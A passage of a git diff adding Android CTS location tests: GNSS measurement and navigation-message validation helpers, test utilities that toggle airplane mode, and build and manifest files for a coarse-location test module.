+                verifyGpsQzssSvTimes(measurement, softAssert, timeInNs, state,
+                        "CONSTELLATION_QZSS");
+                break;
+            case GnssStatus.CONSTELLATION_SBAS:
+                if ((state & GnssMeasurement.STATE_SBAS_SYNC)
+                        == GnssMeasurement.STATE_SBAS_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_SBAS_SYNC",
+                                    "GnssStatus.CONSTELLATION_SBAS"),
+                            timeInNs,
+                            "0s >= X <= 1s",
+                            String.valueOf(sv_time_sec),
+                            sv_time_sec >= 0 && sv_time_sec <= 1);
+                } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
+                        == GnssMeasurement.STATE_SYMBOL_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
+                                    "GnssStatus.CONSTELLATION_SBAS"),
+                            timeInNs,
+                            "0ms >= X <= 2ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 2);
+                } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+                        == GnssMeasurement.STATE_CODE_LOCK) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_CODE_LOCK",
+                                    "GnssStatus.CONSTELLATION_SBAS"),
+                            timeInNs,
+                            "0ms >= X <= 1ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 1);
+                }
+                break;
+            case GnssStatus.CONSTELLATION_GLONASS:
+                if ((state & GnssMeasurement.STATE_GLO_TOD_DECODED)
+                        == GnssMeasurement.STATE_GLO_TOD_DECODED) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_GLO_TOD_DECODED",
+                                    "GnssStatus.CONSTELLATION_GLONASS"),
+                            timeInNs,
+                            "0 day >= X <= 1 day",
+                            String.valueOf(sv_time_days),
+                            sv_time_days >= 0 && sv_time_days <= 1);
+                } else if ((state & GnssMeasurement.STATE_GLO_TOD_KNOWN)
+                         == GnssMeasurement.STATE_GLO_TOD_KNOWN) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_GLO_TOD_KNOWN",
+                                    "GnssStatus.CONSTELLATION_GLONASS"),
+                            timeInNs,
+                            "0 day >= X <= 1 day",
+                            String.valueOf(sv_time_days),
+                            sv_time_days >= 0 && sv_time_days <= 1);
+                } else if ((state & GnssMeasurement.STATE_GLO_STRING_SYNC)
+                        == GnssMeasurement.STATE_GLO_STRING_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_GLO_STRING_SYNC",
+                                    "GnssStatus.CONSTELLATION_GLONASS"),
+                            timeInNs,
+                            "0s >= X <= 2s",
+                            String.valueOf(sv_time_sec),
+                            sv_time_sec >= 0 && sv_time_sec <= 2);
+                } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
+                        == GnssMeasurement.STATE_BIT_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_BIT_SYNC",
+                                    "GnssStatus.CONSTELLATION_GLONASS"),
+                            timeInNs,
+                            "0ms >= X <= 20ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 20);
+                } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
+                        == GnssMeasurement.STATE_SYMBOL_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
+                                    "GnssStatus.CONSTELLATION_GLONASS"),
+                            timeInNs,
+                            "0ms >= X <= 10ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 10);
+                } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+                        == GnssMeasurement.STATE_CODE_LOCK) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_CODE_LOCK",
+                                    "GnssStatus.CONSTELLATION_GLONASS"),
+                            timeInNs,
+                            "0ms >= X <= 1ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 1);
+                }
+                break;
+            case GnssStatus.CONSTELLATION_GALILEO:
+                if ((state & GnssMeasurement.STATE_TOW_DECODED)
+                        == GnssMeasurement.STATE_TOW_DECODED) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_TOW_DECODED",
+                                    "GnssStatus.CONSTELLATION_GALILEO"),
+                            timeInNs,
+                            "0 >= X <= 7 days",
+                            String.valueOf(sv_time_days),
+                            sv_time_days >= 0 && sv_time_days <= 7);
+                } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
+                              == GnssMeasurement.STATE_TOW_KNOWN) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_TOW_DECODED",
+                                    "GnssStatus.CONSTELLATION_GALILEO"),
+                        timeInNs,
+                        "0 >= X <= 7 days",
+                        String.valueOf(sv_time_days),
+                        sv_time_days >= 0 && sv_time_days <= 7);
+                } else if ((state & GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC)
+                        == GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_GAL_E1B_PAGE_SYNC",
+                                    "GnssStatus.CONSTELLATION_GALILEO"),
+                            timeInNs,
+                            "0s >= X <= 2s",
+                            String.valueOf(sv_time_sec),
+                            sv_time_sec >= 0 && sv_time_sec <= 2);
+                } else if ((state & GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK)
+                        == GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_GAL_E1C_2ND_CODE_LOCK",
+                                    "GnssStatus.CONSTELLATION_GALILEO"),
+                            timeInNs,
+                            "0ms >= X <= 100ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 100);
+                } else if ((state & GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK)
+                        == GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_GAL_E1BC_CODE_LOCK",
+                                    "GnssStatus.CONSTELLATION_GALILEO"),
+                            timeInNs,
+                            "0ms >= X <= 4ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 4);
+                }
+                break;
+            case GnssStatus.CONSTELLATION_BEIDOU:
+                if ((state & GnssMeasurement.STATE_TOW_DECODED)
+                        == GnssMeasurement.STATE_TOW_DECODED) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_TOW_DECODED",
+                                    "GnssStatus.CONSTELLATION_BEIDOU"),
+                            timeInNs,
+                            "0 >= X <= 7 days",
+                            String.valueOf(sv_time_days),
+                            sv_time_days >= 0 && sv_time_days <= 7);
+                } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
+                        == GnssMeasurement.STATE_TOW_KNOWN) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
+                                    "GnssStatus.CONSTELLATION_BEIDOU"),
+                            timeInNs,
+                            "0 >= X <= 7 days",
+                            String.valueOf(sv_time_days),
+                            sv_time_days >= 0 && sv_time_days <= 7);
+                } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
+                        == GnssMeasurement.STATE_SUBFRAME_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
+                                    "GnssStatus.CONSTELLATION_BEIDOU"),
+                            timeInNs,
+                            "0s >= X <= 6s",
+                            String.valueOf(sv_time_sec),
+                            sv_time_sec >= 0 && sv_time_sec <= 6);
+                } else if ((state & GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC)
+                        == GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_BDS_D2_SUBFRAME_SYNC",
+                                    "GnssStatus.CONSTELLATION_BEIDOU"),
+                            timeInNs,
+                            "0ms >= X <= 600ms (0.6sec)",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 600);
+                } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
+                        == GnssMeasurement.STATE_BIT_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_BIT_SYNC",
+                                    "GnssStatus.CONSTELLATION_BEIDOU"),
+                            timeInNs,
+                            "0ms >= X <= 20ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 20);
+                } else if ((state & GnssMeasurement.STATE_BDS_D2_BIT_SYNC)
+                        == GnssMeasurement.STATE_BDS_D2_BIT_SYNC) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_BDS_D2_BIT_SYNC",
+                                    "GnssStatus.CONSTELLATION_BEIDOU"),
+                            timeInNs,
+                            "0ms >= X <= 2ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 2);
+                } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+                        == GnssMeasurement.STATE_CODE_LOCK) {
+                    softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                                    "GNSS_MEASUREMENT_STATE_CODE_LOCK",
+                                    "GnssStatus.CONSTELLATION_BEIDOU"),
+                            timeInNs,
+                            "0ms >= X <= 1ms",
+                            String.valueOf(sv_time_ms),
+                            sv_time_ms >= 0 && sv_time_ms <= 1);
+                }
+                break;
+        }
+    }
+
+    private static String getReceivedSvTimeNsLogMessage(String state, String constellationType) {
+        return "received_sv_time_ns: Received SV Time-of-Week in ns. Constellation type = "
+                + constellationType + ". State = " + state;
+    }
+
+    /**
+     * Verify sv times are in expected range for given constellation type.
+     * This is common check for CONSTELLATION_GPS & CONSTELLATION_QZSS.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     * @param state       GnssMeasurement State
+     * @param constellationType Gnss Constellation type
+     */
+    private static void verifyGpsQzssSvTimes(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs, int state, String constellationType) {
+
+        long received_sv_time_ns = measurement.getReceivedSvTimeNanos();
+        double sv_time_ms = TimeUnit.NANOSECONDS.toMillis(received_sv_time_ns);
+        double sv_time_sec = TimeUnit.NANOSECONDS.toSeconds(received_sv_time_ns);
+        double sv_time_days = TimeUnit.NANOSECONDS.toDays(received_sv_time_ns);
+
+        if ((state & GnssMeasurement.STATE_TOW_DECODED)
+                == GnssMeasurement.STATE_TOW_DECODED) {
+            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                            "GNSS_MEASUREMENT_STATE_TOW_DECODED",
+                            constellationType),
+                    timeInNs,
+                    "0 >= X <= 7 days",
+                    String.valueOf(sv_time_days),
+                    sv_time_days >= 0 && sv_time_days <= 7);
+        } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
+                == GnssMeasurement.STATE_TOW_KNOWN) {
+            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                            "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
+                            constellationType),
+                    timeInNs,
+                    "0 >= X <= 7 days",
+                    String.valueOf(sv_time_days),
+                    sv_time_days >= 0 && sv_time_days <= 7);
+        } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
+                == GnssMeasurement.STATE_SUBFRAME_SYNC) {
+            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                            "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
+                            constellationType),
+                    timeInNs,
+                    "0s >= X <= 6s",
+                    String.valueOf(sv_time_sec),
+                    sv_time_sec >= 0 && sv_time_sec <= 6);
+        } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
+                == GnssMeasurement.STATE_BIT_SYNC) {
+            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                            "GNSS_MEASUREMENT_STATE_BIT_SYNC",
+                            constellationType),
+                    timeInNs,
+                    "0ms >= X <= 20ms",
+                    String.valueOf(sv_time_ms),
+                    sv_time_ms >= 0 && sv_time_ms <= 20);
+
+        } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
+                == GnssMeasurement.STATE_CODE_LOCK) {
+            softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
+                            "GNSS_MEASUREMENT_STATE_CODE_LOCK",
+                            constellationType),
+                    timeInNs,
+                    "0ms >= X <= 1ms",
+                    String.valueOf(sv_time_ms),
+                    sv_time_ms >= 0 && sv_time_ms <= 1);
+        }
+    }
+
+
+    /**
+     * Get a unique string for the SV including the constellation and the default L1 band.
+     *
+     * @param constellationType Gnss Constellation type
+     * @param svId Gnss Sv Identifier
+     */
+    public static String getUniqueSvStringId(int constellationType, int svId) {
+        return getUniqueSvStringId(constellationType, svId, GnssBand.GNSS_L1);
+    }
+
+    /**
+     * Get a unique string for the SV including the constellation and the band.
+     *
+     * @param constellationType Gnss Constellation type
+     * @param svId Gnss Sv Identifier
+     * @param carrierFrequencyHz Carrier Frequency for Sv in Hz
+     */
+    public static String getUniqueSvStringId(int constellationType, int svId,
+        float carrierFrequencyHz) {
+        return getUniqueSvStringId(constellationType, svId,
+            frequencyToGnssBand(carrierFrequencyHz));
+    }
+
+    private static String getUniqueSvStringId(int constellationType, int svId, GnssBand gnssBand) {
+        return gnssBand.toString() + "." + constellationType + "." + svId;
+    }
+
+    /**
+     * Assert all mandatory fields in Gnss Navigation Message are in expected range.
+     * See mandatory fields in {@code gps.h}.
+     *
+     * @param testLocationManager TestLocationManager
+     * @param events GnssNavigationMessageEvents
+     */
+    public static void verifyGnssNavMessageMandatoryField(TestLocationManager testLocationManager,
+                                                          List<GnssNavigationMessage> events) {
+        // Verify mandatory GnssNavigationMessage field values.
+        SoftAssert softAssert = new SoftAssert(TAG);
+        for (GnssNavigationMessage message : events) {
+            int type = message.getType();
+            softAssert.assertTrue("Gnss Navigation Message Type:expected [" +
+                getGnssNavMessageTypes() + "] actual = " + type,
+                    GNSS_NAVIGATION_MESSAGE_TYPE.contains(type));
+
+            int messageType = message.getType();
+            softAssert.assertTrue("Message ID cannot be 0", message.getMessageId() != 0);
+            if (messageType == GnssNavigationMessage.TYPE_GAL_I) {
+                softAssert.assertTrue("Sub Message ID can not be negative.",
+                    message.getSubmessageId() >= 0);
+            } else {
+                softAssert.assertTrue("Sub Message ID has to be greater than 0.",
+                    message.getSubmessageId() > 0);
+            }
+
+            // if message type == TYPE_L1CA, verify PRN & Data Size.
+            if (messageType == GnssNavigationMessage.TYPE_GPS_L1CA) {
+                int svid = message.getSvid();
+                softAssert.assertTrue("Space Vehicle ID : expected = [1, 32], actual = " +
+                                svid,
+                        svid >= 1 && svid <= 32);
+                int dataSize = message.getData().length;
+                softAssert.assertTrue("Data size: expected = 40, actual = " + dataSize,
+                        dataSize == 40);
+            } else {
+                Log.i(TAG, "GnssNavigationMessage (type = " + messageType
+                        + ") skipped for verification.");
+            }
+        }
+        softAssert.assertAll();
+    }
+
+    /**
+     * Asserts presence of CarrierFrequency and the values are in expected range.
+     * As per CDD 7.3.3 / C-3-3 Year 2107+ should have Carrier Frequency present
+     * As of 2018, per http://www.navipedia.net/index.php/GNSS_signal, all known GNSS bands
+     * lie within 2 frequency ranges [1100-1300] & [1500-1700].
+     *
+     * @param softAssert custom SoftAssert
+     * @param testLocationManager TestLocationManager
+     * @param hasCarrierFrequency Whether carrierFrequency is present
+     * @param carrierFrequencyHz Value of carrier frequency in Hz if hasCarrierFrequency is true.
+     *                              It is ignored when hasCarrierFrequency is false.
+     */
+    public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
+        TestLocationManager testLocationManager,
+        boolean hasCarrierFrequency, float carrierFrequencyHz) {
+
+        if (hasCarrierFrequency) {
+            float frequencyMhz = carrierFrequencyHz/1e6F;
+            softAssert.assertTrue("carrier_frequency_mhz: Carrier frequency in Mhz",
+                "1100 < X < 1300 || 1500 < X < 1700",
+                String.valueOf(frequencyMhz),
+                (frequencyMhz > 1100.0 && frequencyMhz < 1300.0) ||
+                    (frequencyMhz > 1500.0 && frequencyMhz < 1700.0));
+        }
+    }
+
+    private static String getGnssNavMessageTypes() {
+        StringBuilder typesStr = new StringBuilder();
+        for (int type : GNSS_NAVIGATION_MESSAGE_TYPE) {
+            typesStr.append(String.format("0x%04X", type));
+            typesStr.append(", ");
+        }
+
+        return typesStr.length() > 2 ? typesStr.substring(0, typesStr.length() - 2) : "";
+    }
+
+    /**
+     * The band information is as of 2018, per http://www.navipedia.net/index.php/GNSS_signal
+     * Bands are combined for simplicity as the constellation is also tracked.
+     *
+     * @param frequencyHz Frequency in Hz
+     * @return GnssBand where the frequency lies.
+     */
+    private static GnssBand frequencyToGnssBand(float frequencyHz) {
+        float frequencyMhz = frequencyHz/1e6F;
+        if (frequencyMhz >= 1151 && frequencyMhz <= 1214) {
+            return GnssBand.GNSS_L5;
+        }
+        if (frequencyMhz > 1214 && frequencyMhz <= 1255) {
+            return GnssBand.GNSS_L2;
+        }
+        if (frequencyMhz > 1255 && frequencyMhz <= 1300) {
+            return GnssBand.GNSS_E6;
+        }
+        return GnssBand.GNSS_L1; // default to L1 band
+    }
+}
diff --git a/tests/location/common/src/android/location/cts/common/TestUtils.java b/tests/location/common/src/android/location/cts/common/TestUtils.java
new file mode 100644
index 0000000..bcf3f34
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/TestUtils.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2016 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class TestUtils {
+    private static final String TAG = "LocationTestUtils";
+
+    private static final long STANDARD_WAIT_TIME_MS = 50;
+    private static final long STANDARD_SLEEP_TIME_MS = 50;
+
+    private static final int DATA_CONNECTION_CHECK_INTERVAL_MS = 500;
+    private static final int DATA_CONNECTION_CHECK_COUNT = 10; // 500 * 10 - Roughly 5 secs wait
+
+    public static boolean waitFor(CountDownLatch latch, int timeInSec) throws InterruptedException {
+        // Since late 2014, if the main thread has been occupied for long enough, Android will
+        // increase its priority. Such new behavior can causes starvation to the background thread -
+        // even if the main thread has called await() to yield its execution, the background thread
+        // still can't get scheduled.
+        //
+        // Here we're trying to wait on the main thread for a PendingIntent from a background
+        // thread. Because of the starvation problem, the background thread may take up to 5 minutes
+        // to deliver the PendingIntent if we simply call await() on the main thread. In order to
+        // give the background thread a chance to run, we call Thread.sleep() in a loop. Such dirty
+        // hack isn't ideal, but at least it can work.
+        //
+        // See also: b/17423027
+        long waitTimeRounds = (TimeUnit.SECONDS.toMillis(timeInSec)) /
+                (STANDARD_WAIT_TIME_MS + STANDARD_SLEEP_TIME_MS);
+        for (int i = 0; i < waitTimeRounds; ++i) {
+            Thread.sleep(STANDARD_SLEEP_TIME_MS);
+            if (latch.await(STANDARD_WAIT_TIME_MS, TimeUnit.MILLISECONDS)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public static boolean waitForWithCondition(int timeInSec, Callable<Boolean> callback)
+        throws Exception {
+        long waitTimeRounds = (TimeUnit.SECONDS.toMillis(timeInSec)) / STANDARD_SLEEP_TIME_MS;
+        for (int i = 0; i < waitTimeRounds; ++i) {
+            Thread.sleep(STANDARD_SLEEP_TIME_MS);
+            if(callback.call()) return true;
+        }
+        return false;
+    }
+
+    public static boolean deviceHasGpsFeature(Context context) {
+        // If device does not have a GPS, skip the test.
+        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS)) {
+            return true;
+        }
+        Log.w(TAG, "GPS feature not present on device, skipping GPS test.");
+        return false;
+    }
+
+    /**
+     * Returns whether the device is currently connected to a wifi or cellular.
+     *
+     * @param context {@link Context} object
+     * @return {@code true} if connected to Wifi or Cellular; {@code false} otherwise
+     */
+    public static boolean isConnectedToWifiOrCellular(Context context) {
+        NetworkInfo info = getActiveNetworkInfo(context);
+        return info != null
+                && info.isConnected()
+                && (info.getType() == ConnectivityManager.TYPE_WIFI
+                || info.getType() == ConnectivityManager.TYPE_MOBILE);
+    }
+
+    /**
+     * Gets the active network info.
+     *
+     * @param context {@link Context} object
+     * @return {@link NetworkInfo}
+     */
+    private static NetworkInfo getActiveNetworkInfo(Context context) {
+        ConnectivityManager cm = getConnectivityManager(context);
+        if (cm != null) {
+            return cm.getActiveNetworkInfo();
+        }
+        return null;
+    }
+
+    /**
+     * Gets the connectivity manager.
+     *
+     * @param context {@link Context} object
+     * @return {@link ConnectivityManager}
+     */
+    public static ConnectivityManager getConnectivityManager(Context context) {
+        return (ConnectivityManager) context.getApplicationContext()
+                .getSystemService(Context.CONNECTIVITY_SERVICE);
+    }
+
+    /**
+     * Returns {@code true} if the setting {@code airplane_mode_on} is set to 1.
+     */
+    public static boolean isAirplaneModeOn() {
+        return SystemUtil.runShellCommand("settings get global airplane_mode_on")
+                .trim().equals("1");
+    }
+
+    /**
+     * Changes the setting {@code airplane_mode_on} to 1 if {@code enableAirplaneMode}
+     * is {@code true}. Otherwise, it is set to 0.
+     *
+     * <p>Waits for a certain time duration for network connections to turn on/off based on
+     * {@code enableAirplaneMode}.
+     */
+    public static void setAirplaneModeOn(Context context,
+            boolean enableAirplaneMode) throws InterruptedException {
+        Log.i(TAG, "Setting airplane_mode_on to " + enableAirplaneMode);
+        SystemUtil.runShellCommand("cmd connectivity airplane-mode "
+                + (enableAirplaneMode ? "enable" : "disable"));
+
+        // Wait for a few seconds until the airplane mode changes take effect. The airplane mode on
+        // state and the WiFi/cell connected state are opposite. So, we wait while they are the
+        // same or until the specified time interval expires.
+        //
+        // Note that in unusual cases where the WiFi/cell are not in a connected state before
+        // turning on airplane mode, then turning off airplane mode won't restore either of
+        // these connections, and then the wait time below will be wasteful.
+        int dataConnectionCheckCount = DATA_CONNECTION_CHECK_COUNT;
+        while (enableAirplaneMode == isConnectedToWifiOrCellular(context)) {
+            if (--dataConnectionCheckCount <= 0) {
+                Log.w(TAG, "Airplane mode " + (enableAirplaneMode ? "on" : "off")
+                        + " setting did not take effect on WiFi/cell connected state.");
+                return;
+            }
+            Thread.sleep(DATA_CONNECTION_CHECK_INTERVAL_MS);
+        }
+    }
+}
diff --git a/tests/location/location_coarse/Android.bp b/tests/location/location_coarse/Android.bp
new file mode 100644
index 0000000..5730d2a
--- /dev/null
+++ b/tests/location/location_coarse/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLocationCoarseTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "LocationCtsCommon",
+        "androidx.test.ext.junit",
+        "androidx.test.ext.truth",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+    ],
+    libs: [
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/location/location_coarse/AndroidManifest.xml b/tests/location/location_coarse/AndroidManifest.xml
new file mode 100644
index 0000000..1707b11
--- /dev/null
+++ b/tests/location/location_coarse/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.location.cts.coarse">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:label="CTS tests for android.location"
+                     android:targetPackage="android.location.cts.coarse" >
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/location/location_coarse/AndroidTest.xml b/tests/location/location_coarse/AndroidTest.xml
new file mode 100644
index 0000000..5a65568
--- /dev/null
+++ b/tests/location/location_coarse/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Location test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="location" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLocationCoarseTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.location.cts.coarse" />
+    </test>
+
+</configuration>
diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
new file mode 100644
index 0000000..b1d9d0a
--- /dev/null
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.coarse;
+
+import static android.location.LocationManager.GPS_PROVIDER;
+import static android.location.LocationManager.NETWORK_PROVIDER;
+import static android.location.LocationManager.PASSIVE_PROVIDER;
+
+import static androidx.test.ext.truth.location.LocationSubject.assertThat;
+
+import static com.android.compatibility.common.util.LocationUtils.createLocation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.location.Criteria;
+import android.location.Location;
+import android.location.LocationManager;
+import android.location.cts.common.LocationListenerCapture;
+import android.location.cts.common.LocationPendingIntentCapture;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
